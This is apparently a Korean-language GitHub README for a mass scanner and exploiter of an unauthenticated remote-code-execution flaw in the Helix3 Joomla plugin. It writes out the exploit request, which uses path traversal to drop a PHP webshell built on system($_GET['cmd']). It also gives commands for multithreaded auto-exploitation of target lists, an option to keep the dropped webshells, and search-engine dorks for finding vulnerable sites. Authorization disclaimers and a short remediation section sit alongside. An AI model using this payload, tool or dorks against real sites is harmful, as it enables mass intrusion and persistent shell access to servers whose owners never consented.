
CVE-2026-49049 Helix3 (JoomShaper) Joomla 인증되지 않은 AJAX RCE 스캐너
CVE-2026-49049에 대한 대량 스캐너/검증기: Joomla용 Helix3 Framework 플러그인의 인증되지 않은 AJAX 핸들러 (v1.0 – 3.1.0, **3.1.1+**에서 패치됨).
승인된 테스트 전용입니다. 소유한 시스템 또는 테스트에 대한 서면 허가를 받은 시스템에서만 사용하세요.
Joomla com_ajax를 통해 인증 없이 / CSRF 토큰 없이 plugins/ajax/helix3/helix3.php의 Handler onAjaxHelix3()에 접근 가능합니다:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
실제 활발한 대량 악용은 종종 이중 확장자 웹쉘을 드롭합니다:
< 3.1.1 탐지save에 layoutName=../../up.php + PHP 웹쉘 콘텐츠 사용.json이 추가되어 up.php.json이 웹 루트에 생성됨AddHandler 다중 확장자가 .php 토큰을 실행GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
요구 사항: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
targets.txt 편집 — 한 줄에 URL / 호스트 하나씩 (# = 주석). Joomla 경로 유지됨:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
웹쉘을 드롭하지 않음. 버전 확인 + save / remove / import 프로브:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
경고:
--auto모드는 경로 탐색을 통해 웹쉘을 쓰려고 시도합니다. 기본값: 확인 후 웹쉘이 삭제됩니다.--keep은 승인된 데모에서만 사용하세요.
터미널은 모든 상태(진행 상황)를 표시합니다. results.txt에는 취약한 대상만 포함됩니다:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
다른 레이블 (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN)은 터미널에만 표시되며, results.txt에 포함되지 않습니다.
아래 도크를 사용하여 잠재적으로 영향을 받는 Helix3 / Joomla 자산을 찾으세요. 허가된 대상만 스캔하세요.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
System – Helix3 Framework 및 Helix3 – Ajax 플러그인을 3.1.1 이상(3.1.2 권장)으로 업데이트하세요.
업데이트는 데이터베이스에 이미 들어간 페이로드를 정리하지 않습니다.
#__template_styles 테이블의 params 열에서 주입된 custom_js / custom_css 확인tmp / media에서 의심스러운 파일 삭제:
up.php.json, cox.json, *.php.json, 기타 웹쉘일반적인 손상 증상: 훼손 "Hacked by AntonKill" / "trenggalek6etar", custom_js 주입, 알 수 없는 JSON 파일.
Apache — 다중 확장자 AddHandler를 사용하지 말고 다음을 사용하세요:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
업로드 / 파일 쓰기: 파일 이름 재생성, 다중 점 확장자 거부, 공개 디렉토리에서 AllowOverride None 설정.
python3 scan.py -t https://YOUR-SITE/ --scan
# 예상: PATCHED Helix3 3.1.1+ (또는 플러그인이 제거된 경우 NOT_HELIX3)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
커뮤니티의 기여를 환영합니다. 관리자: ExDev994.
from __future__ import annotations, 타입 힌트)python3 -m py_compile scan.py core/*.py utils/*.py 및 python3 scan.py --help버그/기능 요청은 Issues에 보고하세요. 포함 사항:
| 기여자 | 역할 |
|---|---|
| ExDev994 | 작성자/관리자 |
취약점은 원래 Phil Taylor(mySites.guru)가 보고했습니다. 이 저장소는 독립적인 스캐너 구현이며 JoomShaper 또는 Open Source Matters와 제휴되지 않았습니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다.
컴퓨터 시스템에 대한 무단 접근은 불법이며 인도네시아 UU ITE, 미국 CFAA 및 기타 관할권의 동등한 법률을 위반할 수 있습니다.
저자(ExDev994)는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 수락합니다. --auto 모드는 임시 웹쉘을 드롭합니다 — 승인된 대상에서만 사용하세요.
| 작업 | 영향 | 버전 |
|---|
save | 임의 JSON 파일 쓰기 + 경로 탐색 | 1.0 – 3.1.0 |
remove | 임의 파일 삭제 (확장자/경로 제한 없음) | 1.0 – 3.1.0 |
import | DB의 템플릿 매개변수 덮어쓰기 (custom_js 이스케이프되지 않음 → XSS/훼손) | v3.x 전용 |
| Helix3 버전 | save / remove | import | 상태 |
|---|
| 1.0 – 2.x | 취약 | 없음 | 취약 |
| 3.0 – 3.1.0 | 취약 | 취약 | 취약 |
| 3.1.1+ | 패치됨 | 패치됨 | 안전 |
| 플래그 | 설명 |
|---|
-f / --file | 대상 파일 목록 (기본값: targets.txt (-t가 없을 경우)) |
-t / --target | 단일 대상 URL |
--scan | 읽기 전용 탐지 |
--auto | 탐지 + RCE 확인 (기본값) |
-c / --cmd | 확인 명령어 (기본값: id) |
-o / --output | 결과 파일 — 취약 / SHELL_OK 대상만 |
--json | 구조화된 JSON 보고서 |
--keep | 확인 후 웹쉘 자동 제거 안 함 |
--threads | 동시 작업 수 (기본값: 15) |
--timeout | HTTP 타임아웃 초 (기본값: 15) |